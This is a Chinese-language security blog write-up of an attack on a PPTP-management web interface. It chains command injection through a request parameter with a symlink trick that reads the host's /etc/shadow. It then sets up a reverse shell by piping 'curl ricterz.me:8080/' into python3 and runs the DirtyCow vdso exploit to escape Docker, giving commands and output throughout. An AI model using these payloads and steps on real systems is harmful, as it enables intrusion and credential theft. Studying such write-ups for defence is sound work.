From RCE to Docker Escape
題目有些標題黨了。這個漏洞是我在測試 biligame 是發現的，此程式監聽在 8081 埠，是一個管理 PPTP 的 Web Interface。首先，通過黑盒測試，發現存在一個在 Docker 容器內的命令執行，接著通過 banner 搜尋，在 Github 上找到原始碼，通過閱讀原始碼，實現了 Docker 容器外的檔案讀取，最後通過 DirtyCow 來逃逸 Docker。 非常 CTF 的一個魔幻經歷，於是寫了一篇文章來分享一下。
RCE
訪問目標站，很貼心的列出了 endpoints：
首先測試一下其正常功能：
列出 VPN：
新增 VPN：
bash-3.2$ curl target:8081/tunnel --data "" <h1>500 Internal Server Error</h1>Param: name not found! bash-3.2$ curl target:8081/tunnel --data "name=test" <h1>500 Internal Server Error</h1>Param: server not found ... bash-3.2$ curl target:8081/tunnel --data "name=test&server=a.asf.loli.club&user=asd&pass=123&port=5555" {"status":"INITIAL","external":null,"local":"172.17.0.5","dns1":null,"tunnel_ip":null,"user":"asd","server":"a.asf.loli.club","id":"test","dns2":null,"port":5555}
通過報錯顯示出需要的引數：name、server、user、pass、port。
刪除 VPN：
bash-3.2$ curl -XDELETE target:8081/tunnel/test
test邊緣測試，顯示報錯資訊：
bash-3.2$ curl target:8081/tunnel --data "name=test&server=a.asf.loli.club&user=asd&pass=123&port=5555" {"status":"INITIAL","external":null,"local":"172.17.0.5","dns1":null,"tunnel_ip":null,"user":"asd","server":"a.asf.loli.club","id":"test","dns2":null,"port":5555} bash-3.2$ curl target:8081/tunnel --data "name=test&server=a.asf.loli.club&user=asd&pass=123&port=5555" {"Err":"docker: Error response from daemon: Conflict. The name \"/test\" is already in use by container 1dfabf508870215bb0592e6a8666bd47498157ed631baf54d54cbb0ecf5dcc4b. You have to remove (or rename) that container to be able to reuse that name..\nSee 'docker run --help'.\n"}
發現是 Docker 的報錯資訊，而且根據回顯，推測是後端直接呼叫 Docker 命令。
有呼叫就有 RCE，於是我嘗試在 :name 引數進行命令注入，但是失敗了，推測應該是有 escape。
bash-3.2$ curl -XDELETE target:8081/tunnel/\`a\`test <h1>500 Internal Server Error</h1>Error response from daemon: No such container: `a`test bash-3.2$ curl -XDELETE target:8081/tunnel/\'\`a\`test <h1>500 Internal Server Error</h1>Error response from daemon: No such container: '`a`test
接著我測試在新增 VPN 出的命令注入，不出所料，存在：
bash-3.2$ curl target:8081/tunnel --data "name=test&server=\`whoami\`-bilibili.asf.loli.club&user=asd&pass=123&port=5555"
{"status":"INITIAL","external":null,"local":"172.17.0.5","dns1":null,"tunnel_ip":null,"user":"asd","server":"`whoami`-bilibili.asf.loli.club","id":"test","dns2":null,"port":5555}
高興了大概 1 分鐘，我就發現，其實我命令執行的地方是在一個 Docker 容器內：
bash-3.2$ curl target:8081/tunnel --data "name=test&server=\`ls%20/.docker*\`-bilibili.asf.loli.club&user=asd&pass=123&port=5555"
{"status":"INITIAL","external":null,"local":"172.17.0.5","dns1":null,"tunnel_ip":null,"user":"asd","server":"`whoami`-bilibili.asf.loli.club","id":"test","dns2":null,"port":5555}
檔案讀取
通過搜尋 banner，我找到了這個網站的原始碼，通過閱讀原始碼，我發現了一個比較有意思的未公開 API：
tunnelLogs :: String -> IO String
tunnelLogs name = do
let path = flags_dataDir </> name <.> "log"
sh $ "tail " ++ escape path
...
get "/tunnel/:name/logs" $ do
name <- param "name"
logs <- liftIO $ tunnelLogs name
text $ L.pack logs在呼叫這個 API 時，會讀取 /data/:name.log。再看看建立 Docker 時候：
tunnelCreate :: String -> String -> String -> String -> Maybe String -> IO (Either String TunnelInfo)
tunnelCreate "" _ _ _ _ = return $ Left "Name must not be empty"
tunnelCreate _ "" _ _ _ = return $ Left "Server must not be empty"
tunnelCreate name server user pass port = do
let n = escape name
let portDef = case port of
Just p -> "-p "++p++":3128"
Nothing -> "-p 3128"
r <- shExJoin ["docker run -d --restart=always"
,"--device /dev/ppp"
,"--cap-add=net_admin"
,"--name",n,"-h",n
,"-v "++flags_dataDir++":/data", portDef, flags_image
,"/init.sh ", escapeMany [server,user,pass]
]
case r of
Left err -> return $ Left err
Right _ -> tunnelInfo name注意這一行：
,"-v "++flags_dataDir++":/data", portDef, flags_image由於這個 API 執行在容器外，但是容器內的 /data 可以操控，於是通過建立軟連結即可讀取到容器外的檔案。
在容器內：
[email protected]:/data# rm fff.log && ln -s /etc/shadow fff.log
ln -s /etc/shadow fff.log接著訪問 logs：
bash-3.2$ curl target:8081/tunnel/fff/logs
nobody:*:16176:0:99999:7:::
libuuid:!:16176:0:99999:7:::
syslog:*:16176:0:99999:7:::
messagebus:*:16179:0:99999:7:::
landscape:*:16179:0:99999:7:::
sshd:*:16179:0:99999:7:::
ubuntu:$6$7yyw0fAK$[...]5.Urq81:17134:0:99999:7:::
ntp:*:16179:0:99999:7:::
dnsmasq:*:16179:0:99999:7:::
colord:*:16179:0:99999:7:::Bingo，至此通過 Docker 配合 API 的檔案讀取完成。
Escape!
但是，滿足嗎？
我是不滿足的，檔案讀取還只是 tail 的一部分，並不能威脅到伺服器的核心安全。
通過一些資訊收集，我發現此伺服器核心版本較低，可能可以通過 DirtyCow (CVE-2016-5195) 來進行 Docker 逃逸。
[email protected]:/data# uname -a
Linux fff2 3.13.0-88-generic #135-Ubuntu SMP Wed Jun 8 21:10:42 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux核心更新時間是 2016 年 6 月，而 DirtyCow 是在 2016 年 10 月，感覺看到了希望。
不過在進行逃逸之前，需要清除一些小障礙。
呼叫 API 後，Docker 執行的是 ppp 命令，在超過超時時間後，就會斷開 shell。由於需要編譯 payload，那麼必須安裝 gcc 以及 make，但是時間超過了超時時間。
不過根據 API，通過 :name/down、:name/up，可以 start/stop Docker 容器，通過修改 init.sh 為反彈 shell 的指令碼，接著 docker stop，再 start 後就會獲得一個穩定的 shell：
[email protected]:/data# cat /init.sh
#!/bin/bash
curl ricterz.me:8080/|python3接著：
bash-3.2$ curl target:8081/tunnel/fff2/down
...
bash-3.2$ curl target:8081/tunnel/fff2/up安裝好 gcc、nasm、make 後，編譯 payload 執行失敗
[email protected]:/data/dirtycow-vdso-master# ./0xdeadbeef 172.17.0.8:1234
[*] payload target: 172.17.0.8:1234
[-] failed to patch payload's ip雖然不知道發生了什麼，但是我有一種感覺，就是 exp 作者更新了版本導致 exp 掛掉。於是我下載了老版本的 exp，編譯後成功獲得 shell：
# git clone https://github.com/scumjr/dirtycow-vdso/
Cloning into 'dirtycow-vdso'...
remote: Counting objects: 99, done.
remote: Total 99 (delta 0), reused 0 (delta 0), pack-reused 99
Unpacking objects: 100% (99/99), done.
Checking connectivity... done.
# cd dirtycow-vdso
# git reset --hard ef252dee4784758a494b4286e5ff1dac26e57c7d
HEAD is now at ef252de add another prologue
# sed -i 's/0x0100007f/0x80011ac/g' payload.s
# make
make
nasm -f bin -o payload payload.s
xxd -i payload payload.h
cc -o 0xdeadbeef.o -c 0xdeadbeef.c -Wall
cc -o 0xdeadbeef 0xdeadbeef.o -lpthread
# ./0xdeadbeef
[*] exploit: patch 1/2
[*] vdso successfully backdoored
[*] exploit: patch 2/2
[*] vdso successfully backdoored
[*] waiting for reverse connect shell...
[*] enjoy!
[*] restore: patch 2/2
ifconfig
docker0 Link encap:Ethernet HWaddr [...]
inet addr:172.17.0.1 Bcast:0.0.0.0 Mask:255.255.0.0
...
eth0 Link encap:Ethernet HWaddr [...]
inet addr:10.10.177.79 Bcast:10.10.255.255 Mask:255.255.0.0
...至此，逃逸成功。